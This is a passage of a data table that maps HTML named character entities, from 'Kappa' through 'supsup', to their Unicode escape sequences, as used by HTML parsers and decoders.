"\u039A", "kappa;": "\u03BA", "kappav;": "\u03F0", "Kcedil;": "\u0136", "kcedil;": "\u0137", "Kcy;": "\u041A", "kcy;": "\u043A", "Kfr;": "\uD835\uDD0E", "kfr;": "\uD835\uDD28", "kgreen;": "\u0138", "KHcy;": "\u0425", "khcy;": "\u0445", "KJcy;": "\u040C", "kjcy;": "\u045C", "Kopf;": "\uD835\uDD42", "kopf;": "\uD835\uDD5C", "Kscr;": "\uD835\uDCA6", "kscr;": "\uD835\uDCC0", "lAarr;": "\u21DA", "Lacute;": "\u0139", "lacute;": "\u013A", "laemptyv;": "\u29B4", "lagran;": "\u2112", "Lambda;": "\u039B", "lambda;": "\u03BB", "lang;": "\u27E8", "Lang;": "\u27EA", "langd;": "\u2991", "langle;": "\u27E8", "lap;": "\u2A85", "Laplacetrf;": "\u2112", "laquo;": "\u00AB", "laquo": "\u00AB", "larrb;": "\u21E4", "larrbfs;": "\u291F", "larr;": "\u2190", "Larr;": "\u219E", "lArr;": "\u21D0", "larrfs;": "\u291D", "larrhk;": "\u21A9", "larrlp;": "\u21AB", "larrpl;": "\u2939", "larrsim;": "\u2973", "larrtl;": "\u21A2", "latail;": "\u2919", "lAtail;": "\u291B", "lat;": "\u2AAB", "late;": "\u2AAD", "lates;": "\u2AAD\uFE00", "lbarr;": "\u290C", "lBarr;": "\u290E", "lbbrk;": "\u2772", "lbrace;": "\u007B", "lbrack;": "\u005B", "lbrke;": "\u298B", "lbrksld;": "\u298F", "lbrkslu;": "\u298D", "Lcaron;": "\u013D", "lcaron;": "\u013E", "Lcedil;": "\u013B", "lcedil;": "\u013C", "lceil;": "\u2308", "lcub;": "\u007B", "Lcy;": "\u041B", "lcy;": "\u043B", "ldca;": "\u2936", "ldquo;": "\u201C", "ldquor;": "\u201E", "ldrdhar;": "\u2967", "ldrushar;": "\u294B", "ldsh;": "\u21B2", "le;": "\u2264", "lE;": "\u2266", "LeftAngleBracket;": "\u27E8", "LeftArrowBar;": "\u21E4", "leftarrow;": "\u2190", "LeftArrow;": "\u2190", "Leftarrow;": "\u21D0", "LeftArrowRightArrow;": "\u21C6", "leftarrowtail;": "\u21A2", "LeftCeiling;": "\u2308", "LeftDoubleBracket;": "\u27E6", "LeftDownTeeVector;": "\u2961", "LeftDownVectorBar;": "\u2959", "LeftDownVector;": "\u21C3", "LeftFloor;": "\u230A", "leftharpoondown;": "\u21BD", "leftharpoonup;": "\u21BC", "leftleftarrows;": "\u21C7", "leftrightarrow;": "\u2194", "LeftRightArrow;": "\u2194", "Leftrightarrow;": "\u21D4", "leftrightarrows;": "\u21C6", "leftrightharpoons;": "\u21CB", "leftrightsquigarrow;": "\u21AD", "LeftRightVector;": "\u294E", "LeftTeeArrow;": "\u21A4", "LeftTee;": "\u22A3", "LeftTeeVector;": "\u295A", "leftthreetimes;": "\u22CB", "LeftTriangleBar;": "\u29CF", "LeftTriangle;": "\u22B2", "LeftTriangleEqual;": "\u22B4", "LeftUpDownVector;": "\u2951", "LeftUpTeeVector;": "\u2960", "LeftUpVectorBar;": "\u2958", "LeftUpVector;": "\u21BF", "LeftVectorBar;": "\u2952", "LeftVector;": "\u21BC", "lEg;": "\u2A8B", "leg;": "\u22DA", "leq;": "\u2264", "leqq;": "\u2266", "leqslant;": "\u2A7D", "lescc;": "\u2AA8", "les;": "\u2A7D", "lesdot;": "\u2A7F", "lesdoto;": "\u2A81", "lesdotor;": "\u2A83", "lesg;": "\u22DA\uFE00", "lesges;": "\u2A93", "lessapprox;": "\u2A85", "lessdot;": "\u22D6", "lesseqgtr;": "\u22DA", "lesseqqgtr;": "\u2A8B", "LessEqualGreater;": "\u22DA", "LessFullEqual;": "\u2266", "LessGreater;": "\u2276", "lessgtr;": "\u2276", "LessLess;": "\u2AA1", "lesssim;": "\u2272", "LessSlantEqual;": "\u2A7D", "LessTilde;": "\u2272", "lfisht;": "\u297C", "lfloor;": "\u230A", "Lfr;": "\uD835\uDD0F", "lfr;": "\uD835\uDD29", "lg;": "\u2276", "lgE;": "\u2A91", "lHar;": "\u2962", "lhard;": "\u21BD", "lharu;": "\u21BC", "lharul;": "\u296A", "lhblk;": "\u2584", "LJcy;": "\u0409", "ljcy;": "\u0459", "llarr;": "\u21C7", "ll;": "\u226A", "Ll;": "\u22D8", "llcorner;": "\u231E", "Lleftarrow;": "\u21DA", "llhard;": "\u296B", "lltri;": "\u25FA", "Lmidot;": "\u013F", "lmidot;": "\u0140", "lmoustache;": "\u23B0", "lmoust;": "\u23B0", "lnap;": "\u2A89", "lnapprox;": "\u2A89", "lne;": "\u2A87", "lnE;": "\u2268", "lneq;": "\u2A87", "lneqq;": "\u2268", "lnsim;": "\u22E6", "loang;": "\u27EC", "loarr;": "\u21FD", "lobrk;": "\u27E6", "longleftarrow;": "\u27F5", "LongLeftArrow;": "\u27F5", "Longleftarrow;": "\u27F8", "longleftrightarrow;": "\u27F7", "LongLeftRightArrow;": "\u27F7", "Longleftrightarrow;": "\u27FA", "longmapsto;": "\u27FC", "longrightarrow;": "\u27F6", "LongRightArrow;": "\u27F6", "Longrightarrow;": "\u27F9", "looparrowleft;": "\u21AB", "looparrowright;": "\u21AC", "lopar;": "\u2985", "Lopf;": "\uD835\uDD43", "lopf;": "\uD835\uDD5D", "loplus;": "\u2A2D", "lotimes;": "\u2A34", "lowast;": "\u2217", "lowbar;": "\u005F", "LowerLeftArrow;": "\u2199", "LowerRightArrow;": "\u2198", "loz;": "\u25CA", "lozenge;": "\u25CA", "lozf;": "\u29EB", "lpar;": "\u0028", "lparlt;": "\u2993", "lrarr;": "\u21C6", "lrcorner;": "\u231F", "lrhar;": "\u21CB", "lrhard;": "\u296D", "lrm;": "\u200E", "lrtri;": "\u22BF", "lsaquo;": "\u2039", "lscr;": "\uD835\uDCC1", "Lscr;": "\u2112", "lsh;": "\u21B0", "Lsh;": "\u21B0", "lsim;": "\u2272", "lsime;": "\u2A8D", "lsimg;": "\u2A8F", "lsqb;": "\u005B", "lsquo;": "\u2018", "lsquor;": "\u201A", "Lstrok;": "\u0141", "lstrok;": "\u0142", "ltcc;": "\u2AA6", "ltcir;": "\u2A79", "lt;": "\u003C", "lt": "\u003C", "LT;": "\u003C", "LT": "\u003C", "Lt;": "\u226A", "ltdot;": "\u22D6", "lthree;": "\u22CB", "ltimes;": "\u22C9", "ltlarr;": "\u2976", "ltquest;": "\u2A7B", "ltri;": "\u25C3", "ltrie;": "\u22B4", "ltrif;": "\u25C2", "ltrPar;": "\u2996", "lurdshar;": "\u294A", "luruhar;": "\u2966", "lvertneqq;": "\u2268\uFE00", "lvnE;": "\u2268\uFE00", "macr;": "\u00AF", "macr": "\u00AF", "male;": "\u2642", "malt;": "\u2720", "maltese;": "\u2720", "Map;": "\u2905", "map;": "\u21A6", "mapsto;": "\u21A6", "mapstodown;": "\u21A7", "mapstoleft;": "\u21A4", "mapstoup;": "\u21A5", "marker;": "\u25AE", "mcomma;": "\u2A29", "Mcy;": "\u041C", "mcy;": "\u043C", "mdash;": "\u2014", "mDDot;": "\u223A", "measuredangle;": "\u2221", "MediumSpace;": "\u205F", "Mellintrf;": "\u2133", "Mfr;": "\uD835\uDD10", "mfr;": "\uD835\uDD2A", "mho;": "\u2127", "micro;": "\u00B5", "micro": "\u00B5", "midast;": "\u002A", "midcir;": "\u2AF0", "mid;": "\u2223", "middot;": "\u00B7", "middot": "\u00B7", "minusb;": "\u229F", "minus;": "\u2212", "minusd;": "\u2238", "minusdu;": "\u2A2A", "MinusPlus;": "\u2213", "mlcp;": "\u2ADB", "mldr;": "\u2026", "mnplus;": "\u2213", "models;": "\u22A7", "Mopf;": "\uD835\uDD44", "mopf;": "\uD835\uDD5E", "mp;": "\u2213", "mscr;": "\uD835\uDCC2", "Mscr;": "\u2133", "mstpos;": "\u223E", "Mu;": "\u039C", "mu;": "\u03BC", "multimap;": "\u22B8", "mumap;": "\u22B8", "nabla;": "\u2207", "Nacute;": "\u0143", "nacute;": "\u0144", "nang;": "\u2220\u20D2", "nap;": "\u2249", "napE;": "\u2A70\u0338", "napid;": "\u224B\u0338", "napos;": "\u0149", "napprox;": "\u2249", "natural;": "\u266E", "naturals;": "\u2115", "natur;": "\u266E", "nbsp;": "\u00A0", "nbsp": "\u00A0", "nbump;": "\u224E\u0338", "nbumpe;": "\u224F\u0338", "ncap;": "\u2A43", "Ncaron;": "\u0147", "ncaron;": "\u0148", "Ncedil;": "\u0145", "ncedil;": "\u0146", "ncong;": "\u2247", "ncongdot;": "\u2A6D\u0338", "ncup;": "\u2A42", "Ncy;": "\u041D", "ncy;": "\u043D", "ndash;": "\u2013", "nearhk;": "\u2924", "nearr;": "\u2197", "neArr;": "\u21D7", "nearrow;": "\u2197", "ne;": "\u2260", "nedot;": "\u2250\u0338", "NegativeMediumSpace;": "\u200B", "NegativeThickSpace;": "\u200B", "NegativeThinSpace;": "\u200B", "NegativeVeryThinSpace;": "\u200B", "nequiv;": "\u2262", "nesear;": "\u2928", "nesim;": "\u2242\u0338", "NestedGreaterGreater;": "\u226B", "NestedLessLess;": "\u226A", "NewLine;": "\u000A", "nexist;": "\u2204", "nexists;": "\u2204", "Nfr;": "\uD835\uDD11", "nfr;": "\uD835\uDD2B", "ngE;": "\u2267\u0338", "nge;": "\u2271", "ngeq;": "\u2271", "ngeqq;": "\u2267\u0338", "ngeqslant;": "\u2A7E\u0338", "nges;": "\u2A7E\u0338", "nGg;": "\u22D9\u0338", "ngsim;": "\u2275", "nGt;": "\u226B\u20D2", "ngt;": "\u226F", "ngtr;": "\u226F", "nGtv;": "\u226B\u0338", "nharr;": "\u21AE", "nhArr;": "\u21CE", "nhpar;": "\u2AF2", "ni;": "\u220B", "nis;": "\u22FC", "nisd;": "\u22FA", "niv;": "\u220B", "NJcy;": "\u040A", "njcy;": "\u045A", "nlarr;": "\u219A", "nlArr;": "\u21CD", "nldr;": "\u2025", "nlE;": "\u2266\u0338", "nle;": "\u2270", "nleftarrow;": "\u219A", "nLeftarrow;": "\u21CD", "nleftrightarrow;": "\u21AE", "nLeftrightarrow;": "\u21CE", "nleq;": "\u2270", "nleqq;": "\u2266\u0338", "nleqslant;": "\u2A7D\u0338", "nles;": "\u2A7D\u0338", "nless;": "\u226E", "nLl;": "\u22D8\u0338", "nlsim;": "\u2274", "nLt;": "\u226A\u20D2", "nlt;": "\u226E", "nltri;": "\u22EA", "nltrie;": "\u22EC", "nLtv;": "\u226A\u0338", "nmid;": "\u2224", "NoBreak;": "\u2060", "NonBreakingSpace;": "\u00A0", "nopf;": "\uD835\uDD5F", "Nopf;": "\u2115", "Not;": "\u2AEC", "not;": "\u00AC", "not": "\u00AC", "NotCongruent;": "\u2262", "NotCupCap;": "\u226D", "NotDoubleVerticalBar;": "\u2226", "NotElement;": "\u2209", "NotEqual;": "\u2260", "NotEqualTilde;": "\u2242\u0338", "NotExists;": "\u2204", "NotGreater;": "\u226F", "NotGreaterEqual;": "\u2271", "NotGreaterFullEqual;": "\u2267\u0338", "NotGreaterGreater;": "\u226B\u0338", "NotGreaterLess;": "\u2279", "NotGreaterSlantEqual;": "\u2A7E\u0338", "NotGreaterTilde;": "\u2275", "NotHumpDownHump;": "\u224E\u0338", "NotHumpEqual;": "\u224F\u0338", "notin;": "\u2209", "notindot;": "\u22F5\u0338", "notinE;": "\u22F9\u0338", "notinva;": "\u2209", "notinvb;": "\u22F7", "notinvc;": "\u22F6", "NotLeftTriangleBar;": "\u29CF\u0338", "NotLeftTriangle;": "\u22EA", "NotLeftTriangleEqual;": "\u22EC", "NotLess;": "\u226E", "NotLessEqual;": "\u2270", "NotLessGreater;": "\u2278", "NotLessLess;": "\u226A\u0338", "NotLessSlantEqual;": "\u2A7D\u0338", "NotLessTilde;": "\u2274", "NotNestedGreaterGreater;": "\u2AA2\u0338", "NotNestedLessLess;": "\u2AA1\u0338", "notni;": "\u220C", "notniva;": "\u220C", "notnivb;": "\u22FE", "notnivc;": "\u22FD", "NotPrecedes;": "\u2280", "NotPrecedesEqual;": "\u2AAF\u0338", "NotPrecedesSlantEqual;": "\u22E0", "NotReverseElement;": "\u220C", "NotRightTriangleBar;": "\u29D0\u0338", "NotRightTriangle;": "\u22EB", "NotRightTriangleEqual;": "\u22ED", "NotSquareSubset;": "\u228F\u0338", "NotSquareSubsetEqual;": "\u22E2", "NotSquareSuperset;": "\u2290\u0338", "NotSquareSupersetEqual;": "\u22E3", "NotSubset;": "\u2282\u20D2", "NotSubsetEqual;": "\u2288", "NotSucceeds;": "\u2281", "NotSucceedsEqual;": "\u2AB0\u0338", "NotSucceedsSlantEqual;": "\u22E1", "NotSucceedsTilde;": "\u227F\u0338", "NotSuperset;": "\u2283\u20D2", "NotSupersetEqual;": "\u2289", "NotTilde;": "\u2241", "NotTildeEqual;": "\u2244", "NotTildeFullEqual;": "\u2247", "NotTildeTilde;": "\u2249", "NotVerticalBar;": "\u2224", "nparallel;": "\u2226", "npar;": "\u2226", "nparsl;": "\u2AFD\u20E5", "npart;": "\u2202\u0338", "npolint;": "\u2A14", "npr;": "\u2280", "nprcue;": "\u22E0", "nprec;": "\u2280", "npreceq;": "\u2AAF\u0338", "npre;": "\u2AAF\u0338", "nrarrc;": "\u2933\u0338", "nrarr;": "\u219B", "nrArr;": "\u21CF", "nrarrw;": "\u219D\u0338", "nrightarrow;": "\u219B", "nRightarrow;": "\u21CF", "nrtri;": "\u22EB", "nrtrie;": "\u22ED", "nsc;": "\u2281", "nsccue;": "\u22E1", "nsce;": "\u2AB0\u0338", "Nscr;": "\uD835\uDCA9", "nscr;": "\uD835\uDCC3", "nshortmid;": "\u2224", "nshortparallel;": "\u2226", "nsim;": "\u2241", "nsime;": "\u2244", "nsimeq;": "\u2244", "nsmid;": "\u2224", "nspar;": "\u2226", "nsqsube;": "\u22E2", "nsqsupe;": "\u22E3", "nsub;": "\u2284", "nsubE;": "\u2AC5\u0338", "nsube;": "\u2288", "nsubset;": "\u2282\u20D2", "nsubseteq;": "\u2288", "nsubseteqq;": "\u2AC5\u0338", "nsucc;": "\u2281", "nsucceq;": "\u2AB0\u0338", "nsup;": "\u2285", "nsupE;": "\u2AC6\u0338", "nsupe;": "\u2289", "nsupset;": "\u2283\u20D2", "nsupseteq;": "\u2289", "nsupseteqq;": "\u2AC6\u0338", "ntgl;": "\u2279", "Ntilde;": "\u00D1", "Ntilde": "\u00D1", "ntilde;": "\u00F1", "ntilde": "\u00F1", "ntlg;": "\u2278", "ntriangleleft;": "\u22EA", "ntrianglelefteq;": "\u22EC", "ntriangleright;": "\u22EB", "ntrianglerighteq;": "\u22ED", "Nu;": "\u039D", "nu;": "\u03BD", "num;": "\u0023", "numero;": "\u2116", "numsp;": "\u2007", "nvap;": "\u224D\u20D2", "nvdash;": "\u22AC", "nvDash;": "\u22AD", "nVdash;": "\u22AE", "nVDash;": "\u22AF", "nvge;": "\u2265\u20D2", "nvgt;": "\u003E\u20D2", "nvHarr;": "\u2904", "nvinfin;": "\u29DE", "nvlArr;": "\u2902", "nvle;": "\u2264\u20D2", "nvlt;": "\u003C\u20D2", "nvltrie;": "\u22B4\u20D2", "nvrArr;": "\u2903", "nvrtrie;": "\u22B5\u20D2", "nvsim;": "\u223C\u20D2", "nwarhk;": "\u2923", "nwarr;": "\u2196", "nwArr;": "\u21D6", "nwarrow;": "\u2196", "nwnear;": "\u2927", "Oacute;": "\u00D3", "Oacute": "\u00D3", "oacute;": "\u00F3", "oacute": "\u00F3", "oast;": "\u229B", "Ocirc;": "\u00D4", "Ocirc": "\u00D4", "ocirc;": "\u00F4", "ocirc": "\u00F4", "ocir;": "\u229A", "Ocy;": "\u041E", "ocy;": "\u043E", "odash;": "\u229D", "Odblac;": "\u0150", "odblac;": "\u0151", "odiv;": "\u2A38", "odot;": "\u2299", "odsold;": "\u29BC", "OElig;": "\u0152", "oelig;": "\u0153", "ofcir;": "\u29BF", "Ofr;": "\uD835\uDD12", "ofr;": "\uD835\uDD2C", "ogon;": "\u02DB", "Ograve;": "\u00D2", "Ograve": "\u00D2", "ograve;": "\u00F2", "ograve": "\u00F2", "ogt;": "\u29C1", "ohbar;": "\u29B5", "ohm;": "\u03A9", "oint;": "\u222E", "olarr;": "\u21BA", "olcir;": "\u29BE", "olcross;": "\u29BB", "oline;": "\u203E", "olt;": "\u29C0", "Omacr;": "\u014C", "omacr;": "\u014D", "Omega;": "\u03A9", "omega;": "\u03C9", "Omicron;": "\u039F", "omicron;": "\u03BF", "omid;": "\u29B6", "ominus;": "\u2296", "Oopf;": "\uD835\uDD46", "oopf;": "\uD835\uDD60", "opar;": "\u29B7", "OpenCurlyDoubleQuote;": "\u201C", "OpenCurlyQuote;": "\u2018", "operp;": "\u29B9", "oplus;": "\u2295", "orarr;": "\u21BB", "Or;": "\u2A54", "or;": "\u2228", "ord;": "\u2A5D", "order;": "\u2134", "orderof;": "\u2134", "ordf;": "\u00AA", "ordf": "\u00AA", "ordm;": "\u00BA", "ordm": "\u00BA", "origof;": "\u22B6", "oror;": "\u2A56", "orslope;": "\u2A57", "orv;": "\u2A5B", "oS;": "\u24C8", "Oscr;": "\uD835\uDCAA", "oscr;": "\u2134", "Oslash;": "\u00D8", "Oslash": "\u00D8", "oslash;": "\u00F8", "oslash": "\u00F8", "osol;": "\u2298", "Otilde;": "\u00D5", "Otilde": "\u00D5", "otilde;": "\u00F5", "otilde": "\u00F5", "otimesas;": "\u2A36", "Otimes;": "\u2A37", "otimes;": "\u2297", "Ouml;": "\u00D6", "Ouml": "\u00D6", "ouml;": "\u00F6", "ouml": "\u00F6", "ovbar;": "\u233D", "OverBar;": "\u203E", "OverBrace;": "\u23DE", "OverBracket;": "\u23B4", "OverParenthesis;": "\u23DC", "para;": "\u00B6", "para": "\u00B6", "parallel;": "\u2225", "par;": "\u2225", "parsim;": "\u2AF3", "parsl;": "\u2AFD", "part;": "\u2202", "PartialD;": "\u2202", "Pcy;": "\u041F", "pcy;": "\u043F", "percnt;": "\u0025", "period;": "\u002E", "permil;": "\u2030", "perp;": "\u22A5", "pertenk;": "\u2031", "Pfr;": "\uD835\uDD13", "pfr;": "\uD835\uDD2D", "Phi;": "\u03A6", "phi;": "\u03C6", "phiv;": "\u03D5", "phmmat;": "\u2133", "phone;": "\u260E", "Pi;": "\u03A0", "pi;": "\u03C0", "pitchfork;": "\u22D4", "piv;": "\u03D6", "planck;": "\u210F", "planckh;": "\u210E", "plankv;": "\u210F", "plusacir;": "\u2A23", "plusb;": "\u229E", "pluscir;": "\u2A22", "plus;": "\u002B", "plusdo;": "\u2214", "plusdu;": "\u2A25", "pluse;": "\u2A72", "PlusMinus;": "\u00B1", "plusmn;": "\u00B1", "plusmn": "\u00B1", "plussim;": "\u2A26", "plustwo;": "\u2A27", "pm;": "\u00B1", "Poincareplane;": "\u210C", "pointint;": "\u2A15", "popf;": "\uD835\uDD61", "Popf;": "\u2119", "pound;": "\u00A3", "pound": "\u00A3", "prap;": "\u2AB7", "Pr;": "\u2ABB", "pr;": "\u227A", "prcue;": "\u227C", "precapprox;": "\u2AB7", "prec;": "\u227A", "preccurlyeq;": "\u227C", "Precedes;": "\u227A", "PrecedesEqual;": "\u2AAF", "PrecedesSlantEqual;": "\u227C", "PrecedesTilde;": "\u227E", "preceq;": "\u2AAF", "precnapprox;": "\u2AB9", "precneqq;": "\u2AB5", "precnsim;": "\u22E8", "pre;": "\u2AAF", "prE;": "\u2AB3", "precsim;": "\u227E", "prime;": "\u2032", "Prime;": "\u2033", "primes;": "\u2119", "prnap;": "\u2AB9", "prnE;": "\u2AB5", "prnsim;": "\u22E8", "prod;": "\u220F", "Product;": "\u220F", "profalar;": "\u232E", "profline;": "\u2312", "profsurf;": "\u2313", "prop;": "\u221D", "Proportional;": "\u221D", "Proportion;": "\u2237", "propto;": "\u221D", "prsim;": "\u227E", "prurel;": "\u22B0", "Pscr;": "\uD835\uDCAB", "pscr;": "\uD835\uDCC5", "Psi;": "\u03A8", "psi;": "\u03C8", "puncsp;": "\u2008", "Qfr;": "\uD835\uDD14", "qfr;": "\uD835\uDD2E", "qint;": "\u2A0C", "qopf;": "\uD835\uDD62", "Qopf;": "\u211A", "qprime;": "\u2057", "Qscr;": "\uD835\uDCAC", "qscr;": "\uD835\uDCC6", "quaternions;": "\u210D", "quatint;": "\u2A16", "quest;": "\u003F", "questeq;": "\u225F", "quot;": "\u0022", "quot": "\u0022", "QUOT;": "\u0022", "QUOT": "\u0022", "rAarr;": "\u21DB", "race;": "\u223D\u0331", "Racute;": "\u0154", "racute;": "\u0155", "radic;": "\u221A", "raemptyv;": "\u29B3", "rang;": "\u27E9", "Rang;": "\u27EB", "rangd;": "\u2992", "range;": "\u29A5", "rangle;": "\u27E9", "raquo;": "\u00BB", "raquo": "\u00BB", "rarrap;": "\u2975", "rarrb;": "\u21E5", "rarrbfs;": "\u2920", "rarrc;": "\u2933", "rarr;": "\u2192", "Rarr;": "\u21A0", "rArr;": "\u21D2", "rarrfs;": "\u291E", "rarrhk;": "\u21AA", "rarrlp;": "\u21AC", "rarrpl;": "\u2945", "rarrsim;": "\u2974", "Rarrtl;": "\u2916", "rarrtl;": "\u21A3", "rarrw;": "\u219D", "ratail;": "\u291A", "rAtail;": "\u291C", "ratio;": "\u2236", "rationals;": "\u211A", "rbarr;": "\u290D", "rBarr;": "\u290F", "RBarr;": "\u2910", "rbbrk;": "\u2773", "rbrace;": "\u007D", "rbrack;": "\u005D", "rbrke;": "\u298C", "rbrksld;": "\u298E", "rbrkslu;": "\u2990", "Rcaron;": "\u0158", "rcaron;": "\u0159", "Rcedil;": "\u0156", "rcedil;": "\u0157", "rceil;": "\u2309", "rcub;": "\u007D", "Rcy;": "\u0420", "rcy;": "\u0440", "rdca;": "\u2937", "rdldhar;": "\u2969", "rdquo;": "\u201D", "rdquor;": "\u201D", "rdsh;": "\u21B3", "real;": "\u211C", "realine;": "\u211B", "realpart;": "\u211C", "reals;": "\u211D", "Re;": "\u211C", "rect;": "\u25AD", "reg;": "\u00AE", "reg": "\u00AE", "REG;": "\u00AE", "REG": "\u00AE", "ReverseElement;": "\u220B", "ReverseEquilibrium;": "\u21CB", "ReverseUpEquilibrium;": "\u296F", "rfisht;": "\u297D", "rfloor;": "\u230B", "rfr;": "\uD835\uDD2F", "Rfr;": "\u211C", "rHar;": "\u2964", "rhard;": "\u21C1", "rharu;": "\u21C0", "rharul;": "\u296C", "Rho;": "\u03A1", "rho;": "\u03C1", "rhov;": "\u03F1", "RightAngleBracket;": "\u27E9", "RightArrowBar;": "\u21E5", "rightarrow;": "\u2192", "RightArrow;": "\u2192", "Rightarrow;": "\u21D2", "RightArrowLeftArrow;": "\u21C4", "rightarrowtail;": "\u21A3", "RightCeiling;": "\u2309", "RightDoubleBracket;": "\u27E7", "RightDownTeeVector;": "\u295D", "RightDownVectorBar;": "\u2955", "RightDownVector;": "\u21C2", "RightFloor;": "\u230B", "rightharpoondown;": "\u21C1", "rightharpoonup;": "\u21C0", "rightleftarrows;": "\u21C4", "rightleftharpoons;": "\u21CC", "rightrightarrows;": "\u21C9", "rightsquigarrow;": "\u219D", "RightTeeArrow;": "\u21A6", "RightTee;": "\u22A2", "RightTeeVector;": "\u295B", "rightthreetimes;": "\u22CC", "RightTriangleBar;": "\u29D0", "RightTriangle;": "\u22B3", "RightTriangleEqual;": "\u22B5", "RightUpDownVector;": "\u294F", "RightUpTeeVector;": "\u295C", "RightUpVectorBar;": "\u2954", "RightUpVector;": "\u21BE", "RightVectorBar;": "\u2953", "RightVector;": "\u21C0", "ring;": "\u02DA", "risingdotseq;": "\u2253", "rlarr;": "\u21C4", "rlhar;": "\u21CC", "rlm;": "\u200F", "rmoustache;": "\u23B1", "rmoust;": "\u23B1", "rnmid;": "\u2AEE", "roang;": "\u27ED", "roarr;": "\u21FE", "robrk;": "\u27E7", "ropar;": "\u2986", "ropf;": "\uD835\uDD63", "Ropf;": "\u211D", "roplus;": "\u2A2E", "rotimes;": "\u2A35", "RoundImplies;": "\u2970", "rpar;": "\u0029", "rpargt;": "\u2994", "rppolint;": "\u2A12", "rrarr;": "\u21C9", "Rrightarrow;": "\u21DB", "rsaquo;": "\u203A", "rscr;": "\uD835\uDCC7", "Rscr;": "\u211B", "rsh;": "\u21B1", "Rsh;": "\u21B1", "rsqb;": "\u005D", "rsquo;": "\u2019", "rsquor;": "\u2019", "rthree;": "\u22CC", "rtimes;": "\u22CA", "rtri;": "\u25B9", "rtrie;": "\u22B5", "rtrif;": "\u25B8", "rtriltri;": "\u29CE", "RuleDelayed;": "\u29F4", "ruluhar;": "\u2968", "rx;": "\u211E", "Sacute;": "\u015A", "sacute;": "\u015B", "sbquo;": "\u201A", "scap;": "\u2AB8", "Scaron;": "\u0160", "scaron;": "\u0161", "Sc;": "\u2ABC", "sc;": "\u227B", "sccue;": "\u227D", "sce;": "\u2AB0", "scE;": "\u2AB4", "Scedil;": "\u015E", "scedil;": "\u015F", "Scirc;": "\u015C", "scirc;": "\u015D", "scnap;": "\u2ABA", "scnE;": "\u2AB6", "scnsim;": "\u22E9", "scpolint;": "\u2A13", "scsim;": "\u227F", "Scy;": "\u0421", "scy;": "\u0441", "sdotb;": "\u22A1", "sdot;": "\u22C5", "sdote;": "\u2A66", "searhk;": "\u2925", "searr;": "\u2198", "seArr;": "\u21D8", "searrow;": "\u2198", "sect;": "\u00A7", "sect": "\u00A7", "semi;": "\u003B", "seswar;": "\u2929", "setminus;": "\u2216", "setmn;": "\u2216", "sext;": "\u2736", "Sfr;": "\uD835\uDD16", "sfr;": "\uD835\uDD30", "sfrown;": "\u2322", "sharp;": "\u266F", "SHCHcy;": "\u0429", "shchcy;": "\u0449", "SHcy;": "\u0428", "shcy;": "\u0448", "ShortDownArrow;": "\u2193", "ShortLeftArrow;": "\u2190", "shortmid;": "\u2223", "shortparallel;": "\u2225", "ShortRightArrow;": "\u2192", "ShortUpArrow;": "\u2191", "shy;": "\u00AD", "shy": "\u00AD", "Sigma;": "\u03A3", "sigma;": "\u03C3", "sigmaf;": "\u03C2", "sigmav;": "\u03C2", "sim;": "\u223C", "simdot;": "\u2A6A", "sime;": "\u2243", "simeq;": "\u2243", "simg;": "\u2A9E", "simgE;": "\u2AA0", "siml;": "\u2A9D", "simlE;": "\u2A9F", "simne;": "\u2246", "simplus;": "\u2A24", "simrarr;": "\u2972", "slarr;": "\u2190", "SmallCircle;": "\u2218", "smallsetminus;": "\u2216", "smashp;": "\u2A33", "smeparsl;": "\u29E4", "smid;": "\u2223", "smile;": "\u2323", "smt;": "\u2AAA", "smte;": "\u2AAC", "smtes;": "\u2AAC\uFE00", "SOFTcy;": "\u042C", "softcy;": "\u044C", "solbar;": "\u233F", "solb;": "\u29C4", "sol;": "\u002F", "Sopf;": "\uD835\uDD4A", "sopf;": "\uD835\uDD64", "spades;": "\u2660", "spadesuit;": "\u2660", "spar;": "\u2225", "sqcap;": "\u2293", "sqcaps;": "\u2293\uFE00", "sqcup;": "\u2294", "sqcups;": "\u2294\uFE00", "Sqrt;": "\u221A", "sqsub;": "\u228F", "sqsube;": "\u2291", "sqsubset;": "\u228F", "sqsubseteq;": "\u2291", "sqsup;": "\u2290", "sqsupe;": "\u2292", "sqsupset;": "\u2290", "sqsupseteq;": "\u2292", "square;": "\u25A1", "Square;": "\u25A1", "SquareIntersection;": "\u2293", "SquareSubset;": "\u228F", "SquareSubsetEqual;": "\u2291", "SquareSuperset;": "\u2290", "SquareSupersetEqual;": "\u2292", "SquareUnion;": "\u2294", "squarf;": "\u25AA", "squ;": "\u25A1", "squf;": "\u25AA", "srarr;": "\u2192", "Sscr;": "\uD835\uDCAE", "sscr;": "\uD835\uDCC8", "ssetmn;": "\u2216", "ssmile;": "\u2323", "sstarf;": "\u22C6", "Star;": "\u22C6", "star;": "\u2606", "starf;": "\u2605", "straightepsilon;": "\u03F5", "straightphi;": "\u03D5", "strns;": "\u00AF", "sub;": "\u2282", "Sub;": "\u22D0", "subdot;": "\u2ABD", "subE;": "\u2AC5", "sube;": "\u2286", "subedot;": "\u2AC3", "submult;": "\u2AC1", "subnE;": "\u2ACB", "subne;": "\u228A", "subplus;": "\u2ABF", "subrarr;": "\u2979", "subset;": "\u2282", "Subset;": "\u22D0", "subseteq;": "\u2286", "subseteqq;": "\u2AC5", "SubsetEqual;": "\u2286", "subsetneq;": "\u228A", "subsetneqq;": "\u2ACB", "subsim;": "\u2AC7", "subsub;": "\u2AD5", "subsup;": "\u2AD3", "succapprox;": "\u2AB8", "succ;": "\u227B", "succcurlyeq;": "\u227D", "Succeeds;": "\u227B", "SucceedsEqual;": "\u2AB0", "SucceedsSlantEqual;": "\u227D", "SucceedsTilde;": "\u227F", "succeq;": "\u2AB0", "succnapprox;": "\u2ABA", "succneqq;": "\u2AB6", "succnsim;": "\u22E9", "succsim;": "\u227F", "SuchThat;": "\u220B", "sum;": "\u2211", "Sum;": "\u2211", "sung;": "\u266A", "sup1;": "\u00B9", "sup1": "\u00B9", "sup2;": "\u00B2", "sup2": "\u00B2", "sup3;": "\u00B3", "sup3": "\u00B3", "sup;": "\u2283", "Sup;": "\u22D1", "supdot;": "\u2ABE", "supdsub;": "\u2AD8", "supE;": "\u2AC6", "supe;": "\u2287", "supedot;": "\u2AC4", "Superset;": "\u2283", "SupersetEqual;": "\u2287", "suphsol;": "\u27C9", "suphsub;": "\u2AD7", "suplarr;": "\u297B", "supmult;": "\u2AC2", "supnE;": "\u2ACC", "supne;": "\u228B", "supplus;": "\u2AC0", "supset;": "\u2283", "Supset;": "\u22D1", "supseteq;": "\u2287", "supseteqq;": "\u2AC6", "supsetneq;": "\u228B", "supsetneqq;": "\u2ACC", "supsim;": "\u2AC8", "supsub;": "\u2AD4", "supsup;": 